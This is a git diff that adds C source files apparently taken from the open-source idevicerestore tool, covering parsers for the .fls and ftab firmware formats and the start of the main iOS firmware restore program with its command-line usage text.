+ xe->data = (xe->size > hdrsize) ? p + hdrsize : NULL;
+ ne = (fls_element*)xe;
+ }
+ break;
+ default:
+ hdrsize = offsetof(fls_element, data);
+ ne = (fls_element*)malloc(sizeof(fls_element));
+ memset(ne, '\0', sizeof(fls_element));
+ ne->type = cur->type;
+ ne->size = cur->size;
+ ne->data = (ne->size > hdrsize) ? p + hdrsize : NULL;
+ break;
+ }
+ if ((fls->num_elements + 1) > fls->max_elements) {
+ fls->max_elements += 10;
+ fls->elements = (fls_element**)realloc(fls->elements, sizeof(fls_element*) * fls->max_elements);
+ }
+ fls->elements[fls->num_elements++] = ne;
+ offset += cur->size;
+ } while (offset < fls->size);
+ if (offset != fls->size) {
+ logger(LL_ERROR, "%s: error parsing elements\n", __func__);
+ return;
+ }
+}
+
+fls_file* fls_parse(const void* data, size_t size)
+{
+ fls_file* fls = (fls_file*)malloc(sizeof(fls_file));
+ if (!fls) {
+ return NULL;
+ }
+ memset(fls, '\0', sizeof(fls_file));
+ fls->data = malloc(size);
+ fls->size = size;
+ memcpy(fls->data, data, size);
+ fls_parse_elements(fls);
+ return fls;
+}
+
+void fls_free(fls_file* fls)
+{
+ if (fls) {
+ if (fls->num_elements > 0) {
+ int i;
+ for (i = fls->num_elements-1; i >=0; i--) {
+ free(fls->elements[i]);
+ }
+ free(fls->elements);
+ }
+ if (fls->data) {
+ free(fls->data);
+ }
+ free(fls);
+ }
+}
+
+int fls_update_sig_blob(fls_file* fls, const void* sigdata, size_t siglen)
+{
+ /* FIXME: the code in this function is not big endian safe */
+ if (!fls || !fls->num_elements) {
+ logger(LL_ERROR, "%s: no data\n", __func__);
+ return -1;
+ }
+ if (!fls->c_element) {
+ logger(LL_ERROR, "%s: no fls_0c_element in fls data\n", __func__);
+ return -1;
+ }
+
+ uint32_t datasize = *(uint32_t*)(fls->c_element->data + 0x10);
+ if (datasize != fls->c_element->data_size) {
+ logger(LL_ERROR, "%s: data size mismatch (0x%x != 0x%x)\n", __func__, datasize, fls->c_element->data_size);
+ return -1;
+ }
+ uint32_t sigoffset = *(uint32_t*)(fls->c_element->data + 0x14);
+ if (sigoffset > datasize) {
+ logger(LL_ERROR, "%s: signature offset greater than data size (0x%x > 0x%x)\n", __func__, sigoffset, datasize);
+ return -1;
+ }
+
+ size_t oldsiglen = datasize - sigoffset;
+ size_t newsize = fls->size - oldsiglen + siglen;
+
+ unsigned int i;
+ uint32_t offset = 0;
+ void* newdata = malloc(newsize);
+ if (!newdata) {
+ logger(LL_ERROR, "%s: out of memory\n", __func__);
+ return -1;
+ }
+ uint32_t hdrsize = 0;
+ uint32_t firstpartlen = 0;
+ for (i = 0; i < fls->num_elements; i++) {
+ switch (fls->elements[i]->type) {
+ case 0x0c:
+ hdrsize = offsetof(fls_0c_element, data);
+ // update offset
+ ((fls_0c_element*)fls->elements[i])->offset = offset+hdrsize;
+ // copy first part of data
+ firstpartlen = fls->elements[i]->size - hdrsize - oldsiglen;
+ memcpy(newdata+offset+hdrsize, ((fls_0c_element*)fls->elements[i])->data, firstpartlen);
+ // copy new signature data
+ memcpy(newdata+offset+hdrsize+firstpartlen, sigdata, siglen);
+ ((fls_0c_element*)fls->elements[i])->data = newdata+offset+hdrsize;
+ fls->elements[i]->size -= oldsiglen;
+ fls->elements[i]->size += siglen;
+ ((fls_0c_element*)fls->elements[i])->data_size -= oldsiglen;
+ ((fls_0c_element*)fls->elements[i])->data_size += siglen;
+ memcpy(newdata+offset+hdrsize+0x10, &(((fls_0c_element*)fls->elements[i])->data_size), 4);
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ break;
+ case 0x10:
+ hdrsize = offsetof(fls_10_element, data);
+ // update offset
+ ((fls_10_element*)fls->elements[i])->offset = offset+hdrsize;
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ // copy data
+ if (fls->elements[i]->size > hdrsize) {
+ memcpy(newdata+offset+hdrsize, ((fls_10_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize);
+ ((fls_10_element*)fls->elements[i])->data = newdata+offset+hdrsize;
+ } else {
+ ((fls_10_element*)fls->elements[i])->data = NULL;
+ }
+ break;
+ case 0x14:
+ hdrsize = offsetof(fls_14_element, data);
+ // update offset
+ ((fls_14_element*)fls->elements[i])->offset = offset+hdrsize;
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ // copy data
+ if (fls->elements[i]->size > hdrsize) {
+ memcpy(newdata+offset+hdrsize, ((fls_14_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize);
+ ((fls_14_element*)fls->elements[i])->data = newdata+offset+hdrsize;
+ } else {
+ ((fls_14_element*)fls->elements[i])->data = NULL;
+ }
+ break;
+ default:
+ hdrsize = offsetof(fls_element, data);
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ // copy data
+ if (fls->elements[i]->size > hdrsize) {
+ memcpy(newdata+offset+hdrsize, fls->elements[i]->data, fls->elements[i]->size - hdrsize);
+ fls->elements[i]->data = newdata+offset+hdrsize;
+ } else {
+ fls->elements[i]->data = NULL;
+ }
+ break;
+ }
+ offset += fls->elements[i]->size;
+ }
+ if (fls->data) {
+ free(fls->data);
+ }
+ fls->data = newdata;
+ fls->size = newsize;
+
+ return 0;
+}
+
+int fls_insert_ticket(fls_file* fls, const void* data, size_t size)
+{
+ /* FIXME: the code in this function is not big endian safe */
+ if (!fls || !fls->num_elements) {
+ logger(LL_ERROR, "%s: no data\n", __func__);
+ return -1;
+ }
+ if (!fls->c_element) {
+ logger(LL_ERROR, "%s: no fls_0c_element in fls data\n", __func__);
+ return -1;
+ }
+
+ uint32_t padding = 0;
+ if (size%4 != 0) {
+ padding = 4-(size%4);
+ }
+ size_t newsize = fls->size + size + padding;
+ unsigned int i;
+ uint32_t offset = 0;
+ void* newdata = malloc(newsize);
+ if (!newdata) {
+ logger(LL_ERROR, "%s: out of memory\n", __func__);
+ return -1;
+ }
+ uint32_t hdrsize = 0;
+ for (i = 0; i < fls->num_elements; i++) {
+ switch (fls->elements[i]->type) {
+ case 0x0c:
+ hdrsize = offsetof(fls_0c_element, data);
+ // update offset
+ ((fls_0c_element*)fls->elements[i])->offset = offset+hdrsize;
+ // copy ticket data
+ memcpy(newdata+offset+hdrsize, data, size);
+ if (padding > 0) {
+ // padding
+ memset(newdata+offset+hdrsize+size, '\xFF', padding);
+ }
+ // copy remaining data
+ memcpy(newdata+offset+hdrsize+size+padding, ((fls_0c_element*)fls->elements[i])->data, fls->elements[i]->size);
+ ((fls_0c_element*)fls->elements[i])->data = newdata+offset+hdrsize;
+ fls->elements[i]->size += (size + padding);
+ ((fls_0c_element*)fls->elements[i])->data_size += (size + padding);
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ break;
+ case 0x10:
+ hdrsize = offsetof(fls_10_element, data);
+ // update offset
+ ((fls_10_element*)fls->elements[i])->offset = offset+hdrsize;
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ // copy data
+ if (fls->elements[i]->size > hdrsize) {
+ memcpy(newdata+offset+hdrsize, ((fls_10_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize);
+ ((fls_10_element*)fls->elements[i])->data = newdata+offset+hdrsize;
+ } else {
+ ((fls_10_element*)fls->elements[i])->data = NULL;
+ }
+ break;
+ case 0x14:
+ hdrsize = offsetof(fls_14_element, data);
+ // update offset
+ ((fls_14_element*)fls->elements[i])->offset = offset+hdrsize;
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ // copy data
+ if (fls->elements[i]->size > hdrsize) {
+ memcpy(newdata+offset+hdrsize, ((fls_14_element*)fls->elements[i])->data, fls->elements[i]->size - hdrsize);
+ ((fls_14_element*)fls->elements[i])->data = newdata+offset+hdrsize;
+ } else {
+ ((fls_14_element*)fls->elements[i])->data = NULL;
+ }
+ break;
+ default:
+ hdrsize = offsetof(fls_element, data);
+ // copy header
+ memcpy(newdata+offset, fls->elements[i], hdrsize);
+ // copy data
+ if (fls->elements[i]->size > hdrsize) {
+ memcpy(newdata+offset+hdrsize, fls->elements[i]->data, fls->elements[i]->size - hdrsize);
+ fls->elements[i]->data = newdata+offset+hdrsize;
+ } else {
+ fls->elements[i]->data = NULL;
+ }
+ break;
+ }
+ offset += fls->elements[i]->size;
+ }
+ if (fls->data) {
+ free(fls->data);
+ }
+ fls->data = newdata;
+ fls->size = newsize;
+
+ return 0;
+}
+
diff --git a/sources/MobileRestoreCore/fls.h b/sources/MobileRestoreCore/fls.h
new file mode 100644
index 00000000..2db9029e
--- /dev/null
+++ b/sources/MobileRestoreCore/fls.h
@@ -0,0 +1,85 @@
+/*
+ * fls.h
+ * support for .fls file format (found in .bbfw files)
+ *
+ * Copyright (c) 2012 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+#ifndef FLS_H
+#define FLS_H
+
+#include <stdint.h>
+
+struct _fls_element {
+ uint32_t type;
+ uint32_t size;
+ uint32_t empty;
+ const unsigned char* data;
+} __attribute__((packed));
+typedef struct _fls_element fls_element;
+
+struct _fls_0c_element {
+ uint32_t type;
+ uint32_t size;
+ uint32_t empty;
+ uint32_t off_0x0c;
+ uint32_t off_0x10;
+ uint32_t off_0x14;
+ uint32_t off_0x18;
+ uint32_t data_size; // size without header
+ uint32_t off_0x20;
+ uint32_t offset; // absolute offset of data in file
+ const unsigned char* data; // data+0x14 contains offset to sig blob
+} __attribute__((packed));
+typedef struct _fls_0c_element fls_0c_element;
+
+struct _fls_10_element {
+ uint32_t type;
+ uint32_t size;
+ uint32_t empty;
+ uint32_t data_size; // size without header
+ uint32_t off_0x10;
+ uint32_t offset;
+ const unsigned char* data;
+} __attribute__((packed));
+typedef struct _fls_10_element fls_10_element;
+
+struct _fls_14_element {
+ uint32_t type;
+ uint32_t size;
+ uint32_t empty;
+ uint32_t data_size; // size without header
+ uint32_t off_0x10;
+ uint32_t offset;
+ const unsigned char* data;
+} __attribute__((packed));
+typedef struct _fls_14_element fls_14_element;
+
+typedef struct {
+ unsigned int num_elements;
+ unsigned int max_elements;
+ fls_element** elements;
+ const fls_0c_element* c_element;
+ void* data;
+ size_t size;
+} fls_file;
+
+fls_file* fls_parse(const void* data, size_t size);
+void fls_free(fls_file* fls);
+int fls_update_sig_blob(fls_file* fls, const void* data, size_t size);
+int fls_insert_ticket(fls_file* fls, const void* data, size_t size);
+
+#endif
diff --git a/sources/MobileRestoreCore/ftab.c b/sources/MobileRestoreCore/ftab.c
new file mode 100644
index 00000000..d0fc26b8
--- /dev/null
+++ b/sources/MobileRestoreCore/ftab.c
@@ -0,0 +1,197 @@
+/*
+ * ftab.c
+ * Functions for handling the ftab format
+ *
+ * Copyright (c) 2019 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdint.h>
+
+#include "ftab.h"
+#include "common.h"
+#include "endianness.h"
+
+int ftab_parse(const void *data, size_t data_size, ftab_t *ftab, uint32_t *tag)
+{
+ if (!data || !data_size || !ftab) {
+ return -1;
+ }
+
+ if (data_size < sizeof(struct ftab_header)) {
+ logger(LL_ERROR, "%s: Buffer too small for ftab data\n", __func__);
+ return -1;
+ }
+
+ struct ftab_header *hdr_ptr = (struct ftab_header*)data;
+ if (be32toh(hdr_ptr->magic) != 'ftab') {
+ logger(LL_ERROR, "%s: Unexpected magic value 0x%08x\n", __func__, le32toh(hdr_ptr->magic));
+ return -1;
+ }
+
+ /* copy header */
+ ftab_t ftab_new = (ftab_t)calloc(1, sizeof(struct ftab_fmt));
+ memcpy(&ftab_new->header, data, sizeof(struct ftab_header));
+
+ ftab_new->header.always_01 = le32toh(ftab_new->header.always_01);
+ ftab_new->header.always_ff = le32toh(ftab_new->header.always_ff);
+ ftab_new->header.tag = be32toh(ftab_new->header.tag);
+ if (tag) {
+ *tag = ftab_new->header.tag;
+ }
+ ftab_new->header.magic = be32toh(ftab_new->header.magic);
+ ftab_new->header.num_entries = le32toh(ftab_new->header.num_entries);
+
+ /* copy entries */
+ ftab_new->entries = (struct ftab_entry*)malloc(sizeof(struct ftab_entry) * ftab_new->header.num_entries);
+ memcpy(ftab_new->entries, data + sizeof(struct ftab_header), sizeof(struct ftab_entry) * ftab_new->header.num_entries);
+
+ /* create data storage */
+ ftab_new->storage = (unsigned char**)calloc(ftab_new->header.num_entries, sizeof(unsigned char*));
+
+ /* fill data storage */
+ uint32_t i = 0;
+ for (i = 0; i < ftab_new->header.num_entries; i++) {
+ ftab_new->entries[i].tag = be32toh(ftab_new->entries[i].tag);
+ ftab_new->entries[i].offset = le32toh(ftab_new->entries[i].offset);
+ ftab_new->entries[i].size = le32toh(ftab_new->entries[i].size);
+
+ ftab_new->storage[i] = malloc(ftab_new->entries[i].size);
+ memcpy(ftab_new->storage[i], data + ftab_new->entries[i].offset, ftab_new->entries[i].size);
+ }
+
+ *ftab = ftab_new;
+
+ return 0;
+}
+
+int ftab_get_entry_ptr(ftab_t ftab, uint32_t tag, void **data, size_t *data_size)
+{
+ if (!ftab || !tag || !data || !data_size) {
+ return -1;
+ }
+
+ uint32_t i;
+ int res = -1;
+ for (i = 0; i < ftab->header.num_entries; i++) {
+ if (ftab->entries[i].tag == tag) {
+ *data = ftab->storage[i];
+ *data_size = ftab->entries[i].size;
+ res = 0;
+ }
+ }
+ return res;
+}
+
+int ftab_add_entry(ftab_t ftab, uint32_t tag, const void *data, size_t data_size)
+{
+ if (!ftab || !tag || !data || !data_size) {
+ return -1;
+ }
+
+ uint32_t new_index = ftab->header.num_entries;
+ struct ftab_entry *new_entries = realloc(ftab->entries, sizeof(struct ftab_entry) * (ftab->header.num_entries + 1));
+ if (!new_entries) {
+ logger(LL_ERROR, "%s: realloc failed!\n", __func__);
+ return -1;
+ }
+ ftab->entries = new_entries;
+ unsigned char **new_storage = realloc(ftab->storage, sizeof(unsigned char*) * (ftab->header.num_entries + 1));
+ if (!new_storage) {
+ logger(LL_ERROR, "%s: realloc failed!\n", __func__);
+ return -1;
+ }
+ ftab->storage = new_storage;
+
+ unsigned char *data_copy = (unsigned char*)malloc(data_size);
+ if (!data_copy) {
+ return -1;
+ }
+ memcpy(data_copy, data, data_size);
+
+ ftab->storage[new_index] = data_copy;
+ ftab->entries[new_index].tag = tag;
+ ftab->entries[new_index].size = data_size;
+ ftab->header.num_entries++;
+
+ uint32_t off = sizeof(struct ftab_header) + sizeof(struct ftab_entry) * ftab->header.num_entries;
+ uint32_t i;
+ for (i = 0; i < ftab->header.num_entries; i++) {
+ ftab->entries[i].offset = off;
+ off += ftab->entries[i].size;
+ }
+
+ return 0;
+}
+
+int ftab_write(ftab_t ftab, void **data, size_t *data_size)
+{
+ uint32_t i;
+ unsigned int total_size = sizeof(struct ftab_header);
+ total_size += ftab->header.num_entries * sizeof(struct ftab_entry);
+ for (i = 0; i < ftab->header.num_entries; i++) {
+ total_size += ftab->entries[i].size;
+ }
+
+ unsigned char *data_out = (unsigned char*)malloc(total_size);
+ if (!data_out) {
+ logger(LL_ERROR, "%s: Out of memory?!\n", __func__);
+ return -1;
+ }
+
+ struct ftab_header *ftab_header = (struct ftab_header*)data_out;
+ memset(ftab_header, '\0', sizeof(struct ftab_header));
+ ftab_header->always_01 = htole32(ftab->header.always_01);
+ ftab_header->always_ff = htole32(ftab->header.always_ff);
+ ftab_header->tag = htobe32(ftab->header.tag);
+ ftab_header->magic = htobe32(ftab->header.magic);
+ ftab_header->num_entries = htole32(ftab->header.num_entries);
+
+ for (i = 0; i < ftab->header.num_entries; i++) {
+ struct ftab_entry* entry = (struct ftab_entry*)(data_out + sizeof(struct ftab_header) + (sizeof(struct ftab_entry) * i));
+ entry->tag = htobe32(ftab->entries[i].tag);
+ entry->offset = htole32(ftab->entries[i].offset);
+ entry->size = htole32(ftab->entries[i].size);
+ entry->pad_0x0C = 0;
+ }
+
+ unsigned char *p = data_out + sizeof(struct ftab_header) + (sizeof(struct ftab_entry) * ftab->header.num_entries);
+ for (i = 0; i < ftab->header.num_entries; i++) {
+ memcpy(p, ftab->storage[i], ftab->entries[i].size);
+ p += ftab->entries[i].size;
+ }
+
+ *data = data_out;
+ *data_size = total_size;
+
+ return 0;
+}
+
+int ftab_free(ftab_t ftab)
+{
+ if (!ftab) return -1;
+ uint32_t i = 0;
+ for (i = 0; i < ftab->header.num_entries; i++) {
+ free(ftab->storage[i]);
+ }
+ free(ftab->storage);
+ free(ftab->entries);
+ free(ftab);
+ return 0;
+}
diff --git a/sources/MobileRestoreCore/ftab.h b/sources/MobileRestoreCore/ftab.h
new file mode 100644
index 00000000..d5d4d928
--- /dev/null
+++ b/sources/MobileRestoreCore/ftab.h
@@ -0,0 +1,71 @@
+/*
+ * ftab.h
+ * Functions for handling the ftab format
+ *
+ * Copyright (c) 2019 Nikias Bassen. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef IDEVICERESTORE_FTAB_H
+#define IDEVICERESTORE_FTAB_H
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+#include <stdint.h>
+
+struct ftab_header {
+ uint32_t always_01; // 1
+ uint32_t always_ff; // 0xFFFFFFFF
+ uint32_t unk_0x08; // 0
+ uint32_t unk_0x0C; // 0
+ uint32_t unk_0x10; // 0
+ uint32_t unk_0x14; // 0
+ uint32_t unk_0x18; // 0
+ uint32_t unk_0x1C; // 0
+ uint32_t tag; // e.g. 'rkos'
+ uint32_t magic; // 'ftab' magic
+ uint32_t num_entries;
+ uint32_t pad_0x2C;
+};
+
+struct ftab_entry {
+ uint32_t tag;
+ uint32_t offset;
+ uint32_t size;
+ uint32_t pad_0x0C;
+};
+
+struct ftab_fmt {
+ struct ftab_header header;
+ struct ftab_entry *entries;
+ unsigned char **storage;
+};
+
+typedef struct ftab_fmt *ftab_t;
+
+int ftab_parse(const void *data, size_t data_size, ftab_t *ftab, uint32_t *tag);
+int ftab_get_entry_ptr(ftab_t ftab, uint32_t tag, void **data, size_t *data_size);
+int ftab_add_entry(ftab_t ftab, uint32_t tag, const void *data, size_t data_size);
+int ftab_write(ftab_t ftab, void **data, size_t *data_size);
+int ftab_free(ftab_t ftab);
+
+#ifdef __cplusplus
+}
+#endif
+
+#endif
diff --git a/sources/MobileRestoreCore/idevicerestore.c b/sources/MobileRestoreCore/idevicerestore.c
new file mode 100644
index 00000000..e400fee0
--- /dev/null
+++ b/sources/MobileRestoreCore/idevicerestore.c
@@ -0,0 +1,3135 @@
+/*
+ * idevicerestore.c
+ * Restore device firmware and filesystem
+ *
+ * Copyright (c) 2012-2019 Nikias Bassen. All Rights Reserved.
+ * Copyright (c) 2010-2015 Martin Szulecki. All Rights Reserved.
+ * Copyright (c) 2010 Joshua Hill. All Rights Reserved.
+ *
+ * This library is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * This library is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with this library; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <ctype.h>
+#include <getopt.h>
+#include <plist/plist.h>
+#include <zlib.h>
+#include <libgen.h>
+#include <signal.h>
+
+#include <curl/curl.h>
+
+#include <libimobiledevice-glue/sha.h>
+#include <libimobiledevice-glue/utils.h>
+#include <libimobiledevice-glue/termcolors.h>
+#include <libtatsu/tss.h>
+
+#include "ace3.h"
+#include "dfu.h"
+#include "img3.h"
+#include "img4.h"
+#include "ipsw.h"
+#include "common.h"
+#include "normal.h"
+#include "restore.h"
+#include "download.h"
+#include "recovery.h"
+#include "idevicerestore.h"
+
+#ifdef HAVE_LIMERA1N
+#include "limera1n.h"
+#endif
+
+#include "locking.h"
+
+#ifdef __APPLE__
+#include "deviceinterfaced.h"
+#endif
+
+#define VERSION_XML "version.xml"
+
+#ifndef IDEVICERESTORE_NOMAIN
+static struct option longopts[] = {
+ { "ecid", required_argument, NULL, 'i' },
+ { "udid", required_argument, NULL, 'u' },
+ { "debug", no_argument, NULL, 'd' },
+ { "help", no_argument, NULL, 'h' },
+ { "erase", no_argument, NULL, 'e' },
+ { "custom", no_argument, NULL, 'c' },
+ { "latest", no_argument, NULL, 'l' },
+ { "server", required_argument, NULL, 's' },
+ { "exclude", no_argument, NULL, 'x' },
+ { "shsh", no_argument, NULL, 't' },
+ { "keep-pers", no_argument, NULL, 'k' },
+#ifdef HAVE_LIMERA1N
+ { "pwn", no_argument, NULL, 'p' },
+#endif
+ { "no-action", no_argument, NULL, 'n' },
+ { "cache-path", required_argument, NULL, 'C' },
+ { "no-input", no_argument, NULL, 'y' },
+ { "plain-progress", no_argument, NULL, 'P' },
+ { "restore-mode", no_argument, NULL, 'R' },
+ { "ticket", required_argument, NULL, 'T' },
+ { "no-restore", no_argument, NULL, 'z' },
+ { "version", no_argument, NULL, 'v' },
+ { "ipsw-info", no_argument, NULL, 'I' },
+ { "ignore-errors", no_argument, NULL, 1 },
+ { "variant", required_argument, NULL, 2 },
+ { "logfile", required_argument, NULL, 3 },
+#ifdef __APPLE__
+ { "exclusive-usb", no_argument, NULL, 4 },
+#endif
+ { NULL, 0, NULL, 0 }
+};
+
+static void usage(int argc, char* argv[], int err)
+{
+#ifdef HAVE_LIMERA1N
+#define PWN_FLAG_LINE " -p, --pwn Put device in pwned DFU mode and exit (limera1n devices)\n"
+#else
+#define PWN_FLAG_LINE ""
+#endif
+#ifdef __APPLE__
+#define EXCLUSIVE_USB_ACCESS_FLAG_LINE \
+ " --exclusive-usb Keep deviceinterfaced from claiming the USB device\n" \
+ " during the restore (may prompt for your password\n" \
+ " via sudo)\n"
+#else
+#define EXCLUSIVE_USB_ACCESS_FLAG_LINE ""
+#endif
+ char* name = strrchr(argv[0], '/');
+ fprintf((err) ? stderr : stdout,
+ "Usage: %s [OPTIONS] PATH\n" \
+ "\n" \
+ "Restore IPSW firmware at PATH to an iOS device.\n" \
+ "\n" \
+ "PATH can be a compressed .ipsw file or a directory containing all files\n" \
+ "extracted from an IPSW.\n" \
+ "\n" \
+ "OPTIONS:\n" \
+ " -i, --ecid ECID Target specific device by its ECID\n" \
+ " e.g. 0xaabb123456 (hex) or 1234567890 (decimal)\n" \
+ " -u, --udid UDID Target specific device by its device UDID\n" \
+ " NOTE: only works with devices in normal mode.\n" \
+ " -l, --latest Use latest available firmware (with download on demand).\n" \
+ " Before performing any action it will interactively ask\n" \
+ " to select one of the currently signed firmware versions,\n" \
+ " unless -y has been given too.\n" \
+ " The PATH argument is ignored when using this option.\n" \
+ " DO NOT USE if you need to preserve the baseband/unlock!\n" \
+ " USE WITH CARE if you want to keep a jailbreakable\n" \
+ " firmware!\n" \
+ " -e, --erase Perform full restore instead of update, erasing all data\n" \
+ " DO NOT USE if you want to preserve user data on the device!\n" \
+ " -y, --no-input Non-interactive mode, do not ask for any input.\n" \
+ " WARNING: This will disable certain checks/prompts that\n" \
+ " are supposed to prevent DATA LOSS. Use with caution.\n" \
+ " -n, --no-action Do not perform any restore action. If combined with -l\n" \
+ " option the on-demand ipsw download is performed before\n" \
+ " exiting.\n" \
+ " --ipsw-info Print information about the IPSW at PATH and exit.\n" \
+ " -h, --help Prints this usage information\n" \
+ " -C, --cache-path DIR Use specified directory for caching extracted or other\n" \
+ " reused files.\n" \
+ " --logfile=PATH Write logging output to file at PATH. If PATH equals\n" \
+ " 'NULL' or 'NONE', no log file will be written.\n" \
+ " -d, --debug Print additional debug output\n" \
+ " -v, --version Print version information\n" \
+ "\n" \
+ "Advanced/experimental options:\n"
+ EXCLUSIVE_USB_ACCESS_FLAG_LINE \
+ " -c, --custom Restore with a custom firmware (requires bootrom exploit)\n" \
+ " -s, --server URL Override default signing server request URL\n" \
+ " -x, --exclude Exclude nor/baseband upgrade (legacy devices)\n" \
+ " -t, --shsh Fetch TSS record and save to .shsh file, then exit\n" \
+ " -z, --no-restore Do not restore and end after booting to the ramdisk\n" \
+ " -k, --keep-pers Write personalized components to files for debugging\n" \
+ PWN_FLAG_LINE \
+ " -P, --plain-progress Print progress as plain step and progress\n" \
+ " -R, --restore-mode Allow restoring from Restore mode\n" \
+ " -T, --ticket PATH Use file at PATH to send as AP ticket\n" \
+ " --variant VARIANT Use given VARIANT to match the build identity to use,\n" \
+ " e.g. 'Customer Erase Install (IPSW)'\n" \
+ " --ignore-errors Try to continue the restore process after certain\n" \
+ " errors (like a failed baseband update)\n" \
+ " WARNING: This might render the device unable to boot\n" \
+ " or only partially functioning. Use with caution.\n" \
+ "\n" \
+ "Homepage: <" PACKAGE_URL ">\n" \
+ "Bug Reports: <" PACKAGE_BUGREPORT ">\n",
+ (name ? name + 1 : argv[0]));
+}
+#endif
+
+const uint8_t lpol_file[22] = {
+ 0x30, 0x14, 0x16, 0x04, 0x49, 0x4d, 0x34, 0x50,
+ 0x16, 0x04, 0x6c, 0x70, 0x6f, 0x6c, 0x16, 0x03,
+ 0x31, 0x2e, 0x30, 0x04, 0x01, 0x00
+};
+const uint32_t lpol_file_length = 22;
+
+static int load_version_data(struct idevicerestore_client_t* client)
+{
+ if (!client) {
+ return -1;
+ }
+
+ struct stat fst;
+ int cached = 0;
+
+ char version_xml[1024];
+
+ if (client->cache_dir) {
+ if (stat(client->cache_dir, &fst) < 0) {
+ mkdir_with_parents(client->cache_dir, 0755);
+ }
+ strcpy(version_xml, client->cache_dir);
+ strcat(version_xml, "/");
+ strcat(version_xml, VERSION_XML);
+ } else {
+ strcpy(version_xml, VERSION_XML);
+ }
+
+ if ((stat(version_xml, &fst) < 0) || ((time(NULL)-86400) > fst.st_mtime)) {
+ char version_xml_tmp[1024];
+ strcpy(version_xml_tmp, version_xml);
+ strcat(version_xml_tmp, ".tmp");
+
+ if (download_to_file("http://itunes.apple.com/check/version", version_xml_tmp, 0) == 0) {
+ remove(version_xml);
+ if (rename(version_xml_tmp, version_xml) < 0) {
+ logger(LL_ERROR, "Could not update '%s'\n", version_xml);
+ } else {
+ logger(LL_INFO, "Updated version data.\n");
+ }
+ }
+ } else {
+ cached = 1;
+ }
+
+ char *verbuf = NULL;
+ size_t verlen = 0;
+ read_file(version_xml, (void**)&verbuf, &verlen);
+
+ if (!verbuf) {
+ logger(LL_ERROR, "Could not load '%s'\n", version_xml);
+ return -1;
+ }
+
+ client->version_data = NULL;
+ plist_from_xml(verbuf, verlen, &client->version_data);
+ free(verbuf);
+
+ if (!client->version_data) {
+ remove(version_xml);
+ logger(LL_ERROR, "Cannot parse plist data from '%s'.\n", version_xml);
+ return -1;
+ }
+
+ if (cached) {
+ logger(LL_INFO, "Using cached version data\n");
+ }
+
+ return 0;
+}
+
+static int32_t get_version_num(const char *s_ver)
+{
+ int vers[3] = {0, 0, 0};
+ if (sscanf(s_ver, "%d.%d.%d", &vers[0], &vers[1], &vers[2]) >= 2) {
+ return ((vers[0] & 0xFF) << 16) | ((vers[1] & 0xFF) << 8) | (vers[2] & 0xFF);
+ }
+ return 0x00FFFFFF;
+}
+
+static int compare_versions(const char *s_ver1, const char *s_ver2)
+{
+ return (get_version_num(s_ver1) & 0xFFFF00) - (get_version_num(s_ver2) & 0xFFFF00);
+}
+
+static void idevice_event_cb(const idevice_event_t *event, void *userdata)
+{
+ struct idevicerestore_client_t *client = (struct idevicerestore_client_t*)userdata;
+#ifdef HAVE_ENUM_IDEVICE_CONNECTION_TYPE
+ if (event->conn_type != CONNECTION_USBMUXD) {
+ // ignore everything but devices connected through USB
+ return;
+ }
+#endif
+ if (event->event == IDEVICE_DEVICE_ADD) {
